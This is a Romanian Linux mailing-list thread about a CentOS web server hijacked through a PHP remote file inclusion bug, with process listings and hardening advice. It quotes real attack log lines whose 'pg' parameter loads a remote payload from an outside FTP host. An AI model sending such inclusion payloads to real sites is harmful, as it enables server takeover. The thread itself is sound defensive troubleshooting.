Re: [rlug] ce vulnerabilitate e asta ?
[EMAIL PROTECTED] wrote: [xx/Jan/2008:03:43:16 +0200] "GET /index.php?pg=ftp://80.50.253.90/upload/trop/old? HTTP/1.1" 200 13360 "-" "libwww-perl/5.805" [xx/Jan/2008:03:43:23 +0200] "GET /index.php?pg=ftp://80.50.253.90/upload/trop/old? HTTP/1.1" 200 13360 "-" "Mozilla/5.0" [xx/Jan/2008:03:51:39 +0200] "GET /index.php?pg=ftp://80.50.253.90/upload/trop/old? HTTP/1.1" 200 13360 "-" "libwww-perl/5.805" [xx/Jan/2008:03:51:46 +0200] "GET /index.php?pg=ftp://80.50.253.90/upload/trop/old? HTTP/1.1" 200 13360 "-" "Mozilla/5.0" Am gasit in /var/tmp/ executabilul iroffer cu owner apache iroffer is a software program that acts as a fileserver for IRC. It is similar to a FTP server or WEB server, but users can download files using the DCC protocol of IRC instead of a web browser. Probabil ca prin asta isi aducea mai departe ce dorea. Eu nu as fi asa sigur ca doar asta putea sa faca. Ia acceseaza tu http://site-ul-tau/index.php?pg=ftp://80.50.253.90/upload/trop/old? si vezi,ce se intampla. Banuiesc ca este un shell. -- Teddy ___ RLUG mailing list RLUG@lists.lug.ro http://lists.lug.ro/mailman/listinfo/rlug
Re: [rlug] ce vulnerabilitate e asta ?
On Tue, 22 Jan 2008 08:18:46 +0200 Emil Sirbu wrote: > > > Am incercat tot ce am putut fara reinstall (updates, audit), dar > > serverul web trebuia sa fie rapid up asa ca i-am dat drumul din nou > > urmand sa fac investigatii a doua zi > > > > A doua zi ... din nou: > > > ia verifica "cron"-ul lui apache > > Dupa ce scapi de goanga, asa cum s-a mai spus, (macar) seteaza in > php.ini > > allow_url_fopen = off > > > si cauta prin scripturile alea un include/require ce contine $_GET / > $_POST / $_REQUEST / ... in numele fisierului (daca ai > register_globals = On va tb. sa iei toate liniile include/require ce > contin un nume de variabila la mana) > multumesc tuturor celor care mi-au raspuns. In prima zi cand am observat buba am verificat de cand timp era pornit procesul suspect, am aflat astfel ora de incepere si apoi m-am uitat in logul apache la ora rspectiva [xx/Jan/2008:03:43:16 +0200] "GET /index.php?pg=ftp://80.50.253.90/upload/trop/old? HTTP/1.1" 200 13360 "-" "libwww-perl/5.805" [xx/Jan/2008:03:43:23 +0200] "GET /index.php?pg=ftp://80.50.253.90/upload/trop/old? HTTP/1.1" 200 13360 "-" "Mozilla/5.0" [xx/Jan/2008:03:51:39 +0200] "GET /index.php?pg=ftp://80.50.253.90/upload/trop/old? HTTP/1.1" 200 13360 "-" "libwww-perl/5.805" [xx/Jan/2008:03:51:46 +0200] "GET /index.php?pg=ftp://80.50.253.90/upload/trop/old? HTTP/1.1" 200 13360 "-" "Mozilla/5.0" Am vazut chestiile de mai sus si am banuit ca ma foloseste pe post de proxy. Am incercat insa si eu ceva de genul asta index.php?pg=http://site.unde.am.acces Stateam cu tcpdump pe site.unde.am.acces si vroaim sa vad daca imi vine trafic de la site compromis. Nu venea asa ca am considerat ca chestia cu index.php?pg=http://blabla a fost doar o tentativa nereusita. Se pare totusi ca m-am inselat. M-am uitat mai atent in script php si variabila $_REQUEST['pg'] era preluat fara prea multe verificari si mestecata apoi fara grija de restul scriptului php. Am trimis problema la webmaster. Am gasit in /var/tmp/ executabilul iroffer cu owner apache iroffer is a software program that acts as a fileserver for IRC. It is similar to a FTP server or WEB server, but users can download files using the DCC protocol of IRC instead of a web browser. Probabil ca prin asta isi aducea mai departe ce dorea. ___ RLUG mailing list RLUG@lists.lug.ro http://lists.lug.ro/mailman/listinfo/rlug
Re: [rlug] ce vulnerabilitate e asta ?
> Am incercat tot ce am putut fara reinstall (updates, audit), dar > serverul web trebuia sa fie rapid up asa ca i-am dat drumul din nou > urmand sa fac investigatii a doua zi > > A doua zi ... din nou: > ia verifica "cron"-ul lui apache Dupa ce scapi de goanga, asa cum s-a mai spus, (macar) seteaza in php.ini allow_url_fopen = off si cauta prin scripturile alea un include/require ce contine $_GET / $_POST / $_REQUEST / ... in numele fisierului (daca ai register_globals = On va tb. sa iei toate liniile include/require ce contin un nume de variabila la mana) ___ RLUG mailing list RLUG@lists.lug.ro http://lists.lug.ro/mailman/listinfo/rlug
Re: [rlug] ce vulnerabilitate e asta ?
Mihai Voica wrote: apache 23626 99.9 1.2 5220 2520 ?R10:04 15:00 /usr/sbin/httpsd -i eth0 Vezi daca ai in php.ini allow_url_fopen=On.Probabil a profitat cineva de un script php negandid suficient. -- Teddy ___ RLUG mailing list RLUG@lists.lug.ro http://lists.lug.ro/mailman/listinfo/rlug
Re: [rlug] ce vulnerabilitate e asta ?
Vali Dragnuta wrote: > >> La nivel strict software nu stiu de un atac prin care sa poti sa sari >> din masina virtuala in cea reala. Vectorii clasici de atac, in schimb, >> raman activi. >> Concluzia finala ... nu mai puneti pe servere web chestii la modul de >> i-made-this-php-and-i-put-it-on-the-net-for-all-people-to-get-hacked-with-it. > > Sint 2 lucruri de considerat : > 1). De indata ce are control asupra unei masini virtuale e posibil sa > aiba mai multe posibilitati sa incerce sa compromita alte masini din > acelasi subnet (Eventual alte masini virtuale rulind in acelasi hardware > gazda). Corect. > > 2). Openvz este kernel-level virtualization. Ceea ce inseamna ca toate > guesturile ruleaza sub exact aceeasi instanta de kernel, identica cu a > gazdei. Nu m-ar mira ca dintr-o astfel de masina virtuala sa se poata > scapa la un moment dat. > Nici eu nu cunosc inca situatii in care sa se fi intimplat asa ceva - nu > inseamna insa ca nu se va face la un moment dat. > Erau vremuri cind nici din chroot nu se stia ca se poate iesi. > Si aici ai drptate, dar d.p.d.v. al securitatii luam in calcul si porobabilitatea de a se produce un anume incident, si cati crackeri ar putea /sti sa faca lucru asta. Si ma mai gandesc acu la colistats-ul nostru cel necajit(nu doresc nimanui sa fie acu in pielea lui) ca totusi nu are sit-ul cu problema la vro' firma de super-top, incat sa se "ingesuie" cracherii pe el cu miile pe ora! > Drept pentru care am si spus : mai bine sa nu ai nimic compromis. Sigur ca e mai bine asa! Oricum ideea din raspunsul meu, era cu referire la situatia in care nu poate rezolva problema(adica fara nimic compromis=varianta cea mai buna), pana gaseste o rezolvare, poate apela la o masina virtuala(din 2 rele, alege o varianta SEMNIFICATIV mai putin riscanta).In felul asta castiga timp... pana ii da de cap(e mai dificil sa gasesti solutia potrivita cand stii ca stai cu "satarul" deasupra capului). Mie mi se pare ca problema lui nu e chiar simpla, si s-ar putea sa-i ia ceva timp pana o so' rezolve astfel incat sa NU AIBA NIMIC COMPROMIS. Eu unul cel putin i-i tin pumnii, si daca vrea sa incerce varianta SUGERATA de mine, il voi ajuta cat imi sat in puteri(adica timp si cunostinte). Si as fi curios sa aflu ce varianta de rezolvare a ales, si cu ce rezultate(inclusiv variantele care nu au dat rezultatele scontate). In felul asta mai capatam si ceva cunostinte in plus! BAFTA > > > > ___ > RLUG mailing list > RLUG@lists.lug.ro > http://lists.lug.ro/mailman/listinfo/rlug > ___ RLUG mailing list RLUG@lists.lug.ro http://lists.lug.ro/mailman/listinfo/rlug
Re: [rlug] ce vulnerabilitate e asta ?
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On Mon, 21 Jan 2008, Mihai Voica wrote: > Sorry pt wrap dar am dat paste. Imi poate da cineva o ideea de unde e > chestia asta si cum o pot remedia fara reinstall ? Serverul a fost > instalat de altcineva, teoretic doar httpd e serviciu public, se pare > ca pe acolo e o buba. Distro centOS 4.6 > > [EMAIL PROTECTED] netstat -anput > Active Internet connections (servers and established) > Proto Recv-Q Send-Q Local Address Foreign Address > State PID/Program name > tcp0 0 0.0.0.0:21 0.0.0.0:* > LISTEN 11437/vsftpd > tcp0 0 127.0.0.1:250.0.0.0:* > LISTEN 11453/sendmail: acc > tcp0 0 192.168.100.10:5503169.42.218.68:6667 > ESTABLISHED 5763/ssh > tcp0 0 192.168.100.10:3978869.42.218.68:6667 > ESTABLISHED 5660/ssh > tcp0 0 :::80 :::* > LISTEN 5660/ssh > tcp0 0 :::22 > > (vezi ssh pe port 80 si conexiunile established) > > [EMAIL PROTECTED] ps aux > USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND > root 1 0.0 0.0 1692 612 ?Ss Jan18 0:00 init [3] > apache5656 0.0 0.0 00 ?Z03:43 0:00 [sh] > apache5660 99.9 0.1 4948 3012 ?R03:43 431:51 ssh > apache5759 0.0 0.0 00 ?Z03:51 0:00 [sh] > apache5763 99.9 0.1 4944 3008 ?R03:51 423:32 ssh > root 11415 0.0 0.0 1596 544 ?Ss Jan18 0:00 syslogd -m 0 > root 11425 0.0 0.0 4064 1140 ?Ss Jan18 0:00 /usr/sbin/sshd > root 11437 0.0 0.0 3780 1012 ?SJan18 0:00 > /usr/sbin/vsftpd /etc/vsftpd/vsftpd.conf > root 11453 0.0 0.0 7340 1824 ?Ss Jan18 0:00 sendmail: > accepting connections > smmsp11462 0.0 0.0 6488 1636 ?Ss Jan18 0:00 sendmail: > Queue [EMAIL PROTECTED]:00:00 for /var/spool/clientmqueue > root 11480 0.0 0.3 19748 6372 ?Ss Jan18 0:00 /usr/sbin/httpd > apache 11487 0.0 0.2 19888 4940 ?SJan18 0:00 /usr/sbin/httpd > apache 11488 0.0 0.2 19992 5324 ?SJan18 0:00 /usr/sbin/httpd > apache 11489 0.0 0.2 19996 5180 ?SJan18 0:00 /usr/sbin/httpd > apache 11490 0.0 0.2 19888 4940 ?SJan18 0:00 /usr/sbin/httpd > apache 11491 0.0 0.2 19868 4632 ?SJan18 0:00 /usr/sbin/httpd > apache 11492 0.0 0.2 19864 4996 ?SJan18 0:00 /usr/sbin/httpd > apache 11493 0.0 0.2 2 5284 ?SJan18 0:00 /usr/sbin/httpd > apache 11494 0.0 0.2 19888 4624 ?SJan18 0:00 /usr/sbin/httpd > apache 22409 0.0 0.1 19748 3712 ?S10:20 0:00 /usr/sbin/httpd > root 23993 0.0 0.0 1856 308 ?Ss 10:26 0:00 vzctl: pts/0 > root 23994 0.0 0.0 2216 1276 pts/0Ss 10:26 0:00 -bash > root 25831 0.0 0.0 2372 756 pts/0R+ 10:55 0:00 ps aux > apache 30358 0.0 0.2 19888 4612 ?S01:05 0:00 /usr/sbin/httpd > > > (vezi cele 2 procese de 99%) > > > [EMAIL PROTECTED] top -b -n1 > top - 11:03:12 up 15:50, 0 users, load average: 2.00, 2.00, 2.00 > Tasks: 24 total, 3 running, 19 sleeping, 0 stopped, 2 zombie > Cpu(s): 10.9% us, 1.5% sy, 0.0% ni, 87.6% id, 0.1% wa, 0.0% hi, 0.0% si > Mem: 2067756k total, 2007924k used,59832k free, 211024k buffers > Swap: 2031608k total, 72k used, 2031536k free, 825952k cached > > PID USER PR NI VIRT RES SHR S %CPU %MEMTIME+ COMMAND > 5660 apache25 0 4948 3012 1244 R 99.6 0.1 439:43.42 perl > 5763 apache25 0 4944 3008 1248 R 97.6 0.1 431:24.66 perl > 1 root 15 0 1692 612 528 S 0.0 0.0 0:00.10 init > 5656 apache16 0 000 Z 0.0 0.0 0:00.00 sh > 5759 apache16 0 000 Z 0.0 0.0 0:00.00 sh > 11415 root 23 0 1596 544 456 S 0.0 0.0 0:00.02 syslogd > 11425 root 20 0 4064 1140 836 S 0.0 0.1 0:00.06 sshd > 11437 root 18 0 3780 1012 772 S 0.0 0.0 0:00.00 vsftpd > 11453 root 18 0 7340 1824 864 S 0.0 0.1 0:00.01 sendmail > 11462 smmsp 15 0 6488 1636 820 S 0.0 0.1 0:00.00 sendmail > 11480 root 18 0 19748 6372 3960 S 0.0 0.3 0:00.07 httpd > 11487 apache15 0 19888 4940 2352 S 0.0 0.2 0:00.15 httpd > 11488 apache15 0 19992 5324 2676 S 0.0 0.3 0:00.13 httpd > 11489 apache15 0 19996 5180 2544 S 0.0 0.3 0:00.10 httpd > 11490 apache15 0 19888 4940 2352 S 0.0 0.2 0:00.11 httpd > 11491 apache18 0 19868 4632 2040 S 0.0 0.2 0:00.11 httpd > 11492 apache18 0 19864 4996 2384 S 0.0 0.2 0:00.14 httpd > 11493 apache15 0 2 5284 2624 S 0.0 0.3 0:00.14 httpd > 114
Re: [rlug] ce vulnerabilitate e asta ?
> La nivel strict software nu stiu de un atac prin care sa poti sa sari > din masina virtuala in cea reala. Vectorii clasici de atac, in schimb, > raman activi. > Concluzia finala ... nu mai puneti pe servere web chestii la modul de > i-made-this-php-and-i-put-it-on-the-net-for-all-people-to-get-hacked-with-it. Sint 2 lucruri de considerat : 1). De indata ce are control asupra unei masini virtuale e posibil sa aiba mai multe posibilitati sa incerce sa compromita alte masini din acelasi subnet (Eventual alte masini virtuale rulind in acelasi hardware gazda). 2). Openvz este kernel-level virtualization. Ceea ce inseamna ca toate guesturile ruleaza sub exact aceeasi instanta de kernel, identica cu a gazdei. Nu m-ar mira ca dintr-o astfel de masina virtuala sa se poata scapa la un moment dat. Nici eu nu cunosc inca situatii in care sa se fi intimplat asa ceva - nu inseamna insa ca nu se va face la un moment dat. Erau vremuri cind nici din chroot nu se stia ca se poate iesi. Drept pentru care am si spus : mai bine sa nu ai nimic compromis. ___ RLUG mailing list RLUG@lists.lug.ro http://lists.lug.ro/mailman/listinfo/rlug
Re: [rlug] ce vulnerabilitate e asta ?
Vali Dragnuta wrote: Totusi nu e mai bine sa ai in cel mai rau caz, o masina virtuala compromisa(si un serviciu care nu-ti functionaza), decat sa ai o masina complet compromisa, care daca nu e intr-un DMZ iti poate introduce "mizerii" si in LAN-le in care e conectata? E mai bine sa nu ai nimic compromis. Cit despre compromiterea masinii virtuale, de acolo poate incerca sa sara mai departe... La nivel strict software nu stiu de un atac prin care sa poti sa sari din masina virtuala in cea reala. Vectorii clasici de atac, in schimb, raman activi. Concluzia finala ... nu mai puneti pe servere web chestii la modul de i-made-this-php-and-i-put-it-on-the-net-for-all-people-to-get-hacked-with-it. ___ RLUG mailing list RLUG@lists.lug.ro http://lists.lug.ro/mailman/listinfo/rlug
Re: [rlug] ce vulnerabilitate e asta ?
> Totusi nu e mai bine sa ai in cel mai rau caz, o masina virtuala > compromisa(si un serviciu care nu-ti functionaza), decat sa ai o masina > complet compromisa, care daca nu e intr-un DMZ iti poate introduce > "mizerii" si in LAN-le in care e conectata? E mai bine sa nu ai nimic compromis. Cit despre compromiterea masinii virtuale, de acolo poate incerca sa sara mai departe... ___ RLUG mailing list RLUG@lists.lug.ro http://lists.lug.ro/mailman/listinfo/rlug
Re: [rlug] ce vulnerabilitate e asta ?
lonely wolf wrote: > [EMAIL PROTECTED] wrote: >> Radu Oprisan wrote: >> >>> Mihai Voica wrote: >>> Sorry pt wrap dar am dat paste. Imi poate da cineva o ideea de unde e chestia asta si cum o pot remedia fara reinstall ? Serverul a fost instalat de altcineva, teoretic doar httpd e serviciu public, se pare ca pe acolo e o buba. Distro centOS 4.6 ... >> >> Incearca pe variantele date de Radu Oprisan, mie mi s-au parut de bun >> simt. Daca ce zice el nu i-ti rezolva problema, poti incerca sa REDUCI >> suparafata de ATAC: >> >> 1. >> -daca ai partitie separata pt. /tmp, incearaca so montezi cu >> nodev,noexec,nosuid(asata depinde si ce programe ai pe sistem, unele e >> posibil sa nu "inghita" asa ceva.); >> > logwatch in configuratia implicita vrea sa poata executa scripturi > scrise de el insusi in /tmp si nu se poate schimba sa scrie in alta parte ? > >> 2. >> -poti incerca modulul de apache, libapache2-mod-security2(e si pt. >> apache >> vers. 1.x); >> > din cite stiu eu, in centos nu exista > > >> 3. >> >> a.daca instalarea care o ai la apache, nu depinde de alte >> programe/aplicatii(baze de date customizate, aplicatii customizate, in >> care nu stii cum se leaga de apache), poti pune openvz(masina virtula, >> are >> pachete/kernel pt. centOS), cu obs. de mai jos: >> -refaci instalarea de apache in masina virtula-nu cred ca e nici un risc >> daca instalezi un kernel nou, in cel mai rau caz, revii la kernelul >> vechi, >> evident, trebuie si back-up inainte; >> -dupa refacerea instalarii de apache in masina virtuala, poti testa cat >> vrei(practic nu depinde de instalarea initiala de apache), si daca >> consideri ca e ok, atunci opresti apache-ul initial, si faci accesibil >> apace-ul din masina virtuala; >> > sau in loc sa te scremi cu virtualizari nesuportate de distributie, > folosesti xen sau kvm. si daca face cu kvm sau xen, poate limita consumul de cpu/ram(ca omul are procese care manca o gramada de CPU) per masina virtuala in 5 minute cat dureaza in openvz, chiar daca scrie cu o singura mana(sau trebe sa stea 3 zile ca sa puna pe picioare un xen?) > oricum nu o sa iti foloseasca absolut la nimic atita timp cit problemele > provin din content-ul site-ului web Totusi nu e mai bine sa ai in cel mai rau caz, o masina virtuala compromisa(si un serviciu care nu-ti functionaza), decat sa ai o masina complet compromisa, care daca nu e intr-un DMZ iti poate introduce "mizerii" si in LAN-le in care e conectata? >> -inainte de asta, poti face(chiar recomandat) un firewall in masina >> gazda, >> cat si in masina virtuala care sa impiedice propagarea atacurilor din >> masima virtuala catre masina gazda si catre LAN-ul din care face parte. >> > incepind cu niste reguli de bun simt, de genul > #accepti conexiuni initiate de altii catre serverul tau > iptables -I INPUT -p tcp --dport 80 -j ACCEPT > #raspunzi la conexiunile de mai sus, dar nu initiezi > iptables -A OUTPUT -p tcp --sport 80 -j RELATED, ESTABLISHED -j ACCEPT > #urmeaza apoi niste DROP-uri bine alese (care sa includa si toate > porturile unde nu ar trebui sa fie nimic pornit) > > -- > "A computer will not make a good manager out of a bad manager. > It makes a good manager better faster and a bad manager worse faster." > Ed Esber, president, Ashton-Tate, 1986 > > > ___ > RLUG mailing list > RLUG@lists.lug.ro > http://lists.lug.ro/mailman/listinfo/rlug > ___ RLUG mailing list RLUG@lists.lug.ro http://lists.lug.ro/mailman/listinfo/rlug
Re: [rlug] ce vulnerabilitate e asta ?
[EMAIL PROTECTED] wrote: Radu Oprisan wrote: Mihai Voica wrote: Sorry pt wrap dar am dat paste. Imi poate da cineva o ideea de unde e chestia asta si cum o pot remedia fara reinstall ? Serverul a fost instalat de altcineva, teoretic doar httpd e serviciu public, se pare ca pe acolo e o buba. Distro centOS 4.6 ... Incearca pe variantele date de Radu Oprisan, mie mi s-au parut de bun simt. Daca ce zice el nu i-ti rezolva problema, poti incerca sa REDUCI suparafata de ATAC: 1. -daca ai partitie separata pt. /tmp, incearaca so montezi cu nodev,noexec,nosuid(asata depinde si ce programe ai pe sistem, unele e posibil sa nu "inghita" asa ceva.); logwatch in configuratia implicita vrea sa poata executa scripturi scrise de el insusi in /tmp 2. -poti incerca modulul de apache, libapache2-mod-security2(e si pt. apache vers. 1.x); din cite stiu eu, in centos nu exista 3. a.daca instalarea care o ai la apache, nu depinde de alte programe/aplicatii(baze de date customizate, aplicatii customizate, in care nu stii cum se leaga de apache), poti pune openvz(masina virtula, are pachete/kernel pt. centOS), cu obs. de mai jos: -refaci instalarea de apache in masina virtula-nu cred ca e nici un risc daca instalezi un kernel nou, in cel mai rau caz, revii la kernelul vechi, evident, trebuie si back-up inainte; -dupa refacerea instalarii de apache in masina virtuala, poti testa cat vrei(practic nu depinde de instalarea initiala de apache), si daca consideri ca e ok, atunci opresti apache-ul initial, si faci accesibil apace-ul din masina virtuala; sau in loc sa te scremi cu virtualizari nesuportate de distributie, folosesti xen sau kvm. oricum nu o sa iti foloseasca absolut la nimic atita timp cit problemele provin din content-ul site-ului web -inainte de asta, poti face(chiar recomandat) un firewall in masina gazda, cat si in masina virtuala care sa impiedice propagarea atacurilor din masima virtuala catre masina gazda si catre LAN-ul din care face parte. incepind cu niste reguli de bun simt, de genul #accepti conexiuni initiate de altii catre serverul tau iptables -I INPUT -p tcp --dport 80 -j ACCEPT #raspunzi la conexiunile de mai sus, dar nu initiezi iptables -A OUTPUT -p tcp --sport 80 -j RELATED, ESTABLISHED -j ACCEPT #urmeaza apoi niste DROP-uri bine alese (care sa includa si toate porturile unde nu ar trebui sa fie nimic pornit) -- "A computer will not make a good manager out of a bad manager. It makes a good manager better faster and a bad manager worse faster." Ed Esber, president, Ashton-Tate, 1986 ___ RLUG mailing list RLUG@lists.lug.ro http://lists.lug.ro/mailman/listinfo/rlug
Re: [rlug] ce vulnerabilitate e asta ?
Radu Oprisan wrote: > Mihai Voica wrote: >> Sorry pt wrap dar am dat paste. Imi poate da cineva o ideea de unde e >> chestia asta si cum o pot remedia fara reinstall ? Serverul a fost >> instalat de altcineva, teoretic doar httpd e serviciu public, se pare >> ca pe acolo e o buba. Distro centOS 4.6 >> ... Incearca pe variantele date de Radu Oprisan, mie mi s-au parut de bun simt. Daca ce zice el nu i-ti rezolva problema, poti incerca sa REDUCI suparafata de ATAC: 1. -daca ai partitie separata pt. /tmp, incearaca so montezi cu nodev,noexec,nosuid(asata depinde si ce programe ai pe sistem, unele e posibil sa nu "inghita" asa ceva.); -idem si pt. /home; -incearaca daca poti sa instalezi libsafe; 2. -poti incerca modulul de apache, libapache2-mod-security2(e si pt. apache vers. 1.x); 3. a.daca instalarea care o ai la apache, nu depinde de alte programe/aplicatii(baze de date customizate, aplicatii customizate, in care nu stii cum se leaga de apache), poti pune openvz(masina virtula, are pachete/kernel pt. centOS), cu obs. de mai jos: -refaci instalarea de apache in masina virtula-nu cred ca e nici un risc daca instalezi un kernel nou, in cel mai rau caz, revii la kernelul vechi, evident, trebuie si back-up inainte; -dupa refacerea instalarii de apache in masina virtuala, poti testa cat vrei(practic nu depinde de instalarea initiala de apache), si daca consideri ca e ok, atunci opresti apache-ul initial, si faci accesibil apace-ul din masina virtuala; -inainte de asta, poti face(chiar recomandat) un firewall in masina gazda, cat si in masina virtuala care sa impiedice propagarea atacurilor din masima virtuala catre masina gazda si catre LAN-ul din care face parte. b. in felul asta poti rula un apache(sau orice alata aplicatie/daemon) cu probleme, reducand semnificativ suprafata de atac. Iti urez bafta si rezolvare usoara! ___ RLUG mailing list RLUG@lists.lug.ro http://lists.lug.ro/mailman/listinfo/rlug
Re: [rlug] ce vulnerabilitate e asta ?
Mihai Voica wrote: Sorry pt wrap dar am dat paste. Imi poate da cineva o ideea de unde e chestia asta si cum o pot remedia fara reinstall ? Serverul a fost instalat de altcineva, teoretic doar httpd e serviciu public, se pare ca pe acolo e o buba. Distro centOS 4.6 [EMAIL PROTECTED] netstat -anput Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp0 0 0.0.0.0:21 0.0.0.0:* LISTEN 11437/vsftpd tcp0 0 127.0.0.1:250.0.0.0:* LISTEN 11453/sendmail: acc tcp0 0 192.168.100.10:5503169.42.218.68:6667 ESTABLISHED 5763/ssh tcp0 0 192.168.100.10:3978869.42.218.68:6667 ESTABLISHED 5660/ssh tcp0 0 :::80 :::* LISTEN 5660/ssh tcp0 0 :::22 Frumos. Eu as incepe prin a studia logurile de acces. Undeva o sa ai probabil ceva la modul de "=http://blablabla";. Adica ai intr-un script (ma repet, probabil) un remote file inclusion, ceea ce inseamna ca ala accepta ca parametru orice iar cum php e baiat destept, iti deschide fisiere, pagini web & so on. Rezolva problema asta si asteapta sa mai apara altele (e stiut ca dupa ce rezolvi o problema apar 100). (vezi ssh pe port 80 si conexiunile established) [EMAIL PROTECTED] ps aux USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.0 1692 612 ?Ss Jan18 0:00 init [3] apache5656 0.0 0.0 00 ?Z03:43 0:00 [sh] apache5660 99.9 0.1 4948 3012 ?R03:43 431:51 ssh apache5759 0.0 0.0 00 ?Z03:51 0:00 [sh] apache5763 99.9 0.1 4944 3008 ?R03:51 423:32 ssh root 11415 0.0 0.0 1596 544 ?Ss Jan18 0:00 syslogd -m 0 root 11425 0.0 0.0 4064 1140 ?Ss Jan18 0:00 /usr/sbin/sshd root 11437 0.0 0.0 3780 1012 ?SJan18 0:00 /usr/sbin/vsftpd /etc/vsftpd/vsftpd.conf root 11453 0.0 0.0 7340 1824 ?Ss Jan18 0:00 sendmail: accepting connections smmsp11462 0.0 0.0 6488 1636 ?Ss Jan18 0:00 sendmail: Queue [EMAIL PROTECTED]:00:00 for /var/spool/clientmqueue root 11480 0.0 0.3 19748 6372 ?Ss Jan18 0:00 /usr/sbin/httpd apache 11487 0.0 0.2 19888 4940 ?SJan18 0:00 /usr/sbin/httpd apache 11488 0.0 0.2 19992 5324 ?SJan18 0:00 /usr/sbin/httpd apache 11489 0.0 0.2 19996 5180 ?SJan18 0:00 /usr/sbin/httpd apache 11490 0.0 0.2 19888 4940 ?SJan18 0:00 /usr/sbin/httpd apache 11491 0.0 0.2 19868 4632 ?SJan18 0:00 /usr/sbin/httpd apache 11492 0.0 0.2 19864 4996 ?SJan18 0:00 /usr/sbin/httpd apache 11493 0.0 0.2 2 5284 ?SJan18 0:00 /usr/sbin/httpd apache 11494 0.0 0.2 19888 4624 ?SJan18 0:00 /usr/sbin/httpd apache 22409 0.0 0.1 19748 3712 ?S10:20 0:00 /usr/sbin/httpd root 23993 0.0 0.0 1856 308 ?Ss 10:26 0:00 vzctl: pts/0 root 23994 0.0 0.0 2216 1276 pts/0Ss 10:26 0:00 -bash root 25831 0.0 0.0 2372 756 pts/0R+ 10:55 0:00 ps aux apache 30358 0.0 0.2 19888 4612 ?S01:05 0:00 /usr/sbin/httpd Este bine ca procesele infiltrate ruleaza ca apache. Asta inseamna ca cel mai probabil nu a fost compromis tot sistemul ci doar userul de apache. Daca e asa vezi pasul de mai sus si pe urma verifica toate directoarele in care are acces de scriere userul apache. Cel mai probabil ceea ce cauti va fi in /tmp sau /var/tmp (la -la is your friend, fi atent la directoare de genul " "(spatiu) "..." etc.) (vezi cele 2 procese de 99%) [EMAIL PROTECTED] top -b -n1 top - 11:03:12 up 15:50, 0 users, load average: 2.00, 2.00, 2.00 Tasks: 24 total, 3 running, 19 sleeping, 0 stopped, 2 zombie Cpu(s): 10.9% us, 1.5% sy, 0.0% ni, 87.6% id, 0.1% wa, 0.0% hi, 0.0% si Mem: 2067756k total, 2007924k used,59832k free, 211024k buffers Swap: 2031608k total, 72k used, 2031536k free, 825952k cached PID USER PR NI VIRT RES SHR S %CPU %MEMTIME+ COMMAND 5660 apache25 0 4948 3012 1244 R 99.6 0.1 439:43.42 perl 5763 apache25 0 4944 3008 1248 R 97.6 0.1 431:24.66 perl 1 root 15 0 1692 612 528 S 0.0 0.0 0:00.10 init 5656 apache16 0 000 Z 0.0 0.0 0:00.00 sh 5759 apache16 0 000 Z 0.0 0.0 0:00.00 sh 11415 root 23 0 1596 544 456 S 0.0 0.0 0:00.02 syslogd 11425 root 20 0 4064 1140 836 S 0.0 0.1 0:00.06 sshd 11437 root 18 0 3780 1012 772 S 0.0 0.0 0:00.00 vsftpd 11453 root 18 0 7340 1824 864 S 0.0 0.1 0:00.01 sendmail 11462
[rlug] ce vulnerabilitate e asta ?
Sorry pt wrap dar am dat paste. Imi poate da cineva o ideea de unde e chestia asta si cum o pot remedia fara reinstall ? Serverul a fost instalat de altcineva, teoretic doar httpd e serviciu public, se pare ca pe acolo e o buba. Distro centOS 4.6 [EMAIL PROTECTED] netstat -anput Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp0 0 0.0.0.0:21 0.0.0.0:* LISTEN 11437/vsftpd tcp0 0 127.0.0.1:250.0.0.0:* LISTEN 11453/sendmail: acc tcp0 0 192.168.100.10:5503169.42.218.68:6667 ESTABLISHED 5763/ssh tcp0 0 192.168.100.10:3978869.42.218.68:6667 ESTABLISHED 5660/ssh tcp0 0 :::80 :::* LISTEN 5660/ssh tcp0 0 :::22 (vezi ssh pe port 80 si conexiunile established) [EMAIL PROTECTED] ps aux USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.0 1692 612 ?Ss Jan18 0:00 init [3] apache5656 0.0 0.0 00 ?Z03:43 0:00 [sh] apache5660 99.9 0.1 4948 3012 ?R03:43 431:51 ssh apache5759 0.0 0.0 00 ?Z03:51 0:00 [sh] apache5763 99.9 0.1 4944 3008 ?R03:51 423:32 ssh root 11415 0.0 0.0 1596 544 ?Ss Jan18 0:00 syslogd -m 0 root 11425 0.0 0.0 4064 1140 ?Ss Jan18 0:00 /usr/sbin/sshd root 11437 0.0 0.0 3780 1012 ?SJan18 0:00 /usr/sbin/vsftpd /etc/vsftpd/vsftpd.conf root 11453 0.0 0.0 7340 1824 ?Ss Jan18 0:00 sendmail: accepting connections smmsp11462 0.0 0.0 6488 1636 ?Ss Jan18 0:00 sendmail: Queue [EMAIL PROTECTED]:00:00 for /var/spool/clientmqueue root 11480 0.0 0.3 19748 6372 ?Ss Jan18 0:00 /usr/sbin/httpd apache 11487 0.0 0.2 19888 4940 ?SJan18 0:00 /usr/sbin/httpd apache 11488 0.0 0.2 19992 5324 ?SJan18 0:00 /usr/sbin/httpd apache 11489 0.0 0.2 19996 5180 ?SJan18 0:00 /usr/sbin/httpd apache 11490 0.0 0.2 19888 4940 ?SJan18 0:00 /usr/sbin/httpd apache 11491 0.0 0.2 19868 4632 ?SJan18 0:00 /usr/sbin/httpd apache 11492 0.0 0.2 19864 4996 ?SJan18 0:00 /usr/sbin/httpd apache 11493 0.0 0.2 2 5284 ?SJan18 0:00 /usr/sbin/httpd apache 11494 0.0 0.2 19888 4624 ?SJan18 0:00 /usr/sbin/httpd apache 22409 0.0 0.1 19748 3712 ?S10:20 0:00 /usr/sbin/httpd root 23993 0.0 0.0 1856 308 ?Ss 10:26 0:00 vzctl: pts/0 root 23994 0.0 0.0 2216 1276 pts/0Ss 10:26 0:00 -bash root 25831 0.0 0.0 2372 756 pts/0R+ 10:55 0:00 ps aux apache 30358 0.0 0.2 19888 4612 ?S01:05 0:00 /usr/sbin/httpd (vezi cele 2 procese de 99%) [EMAIL PROTECTED] top -b -n1 top - 11:03:12 up 15:50, 0 users, load average: 2.00, 2.00, 2.00 Tasks: 24 total, 3 running, 19 sleeping, 0 stopped, 2 zombie Cpu(s): 10.9% us, 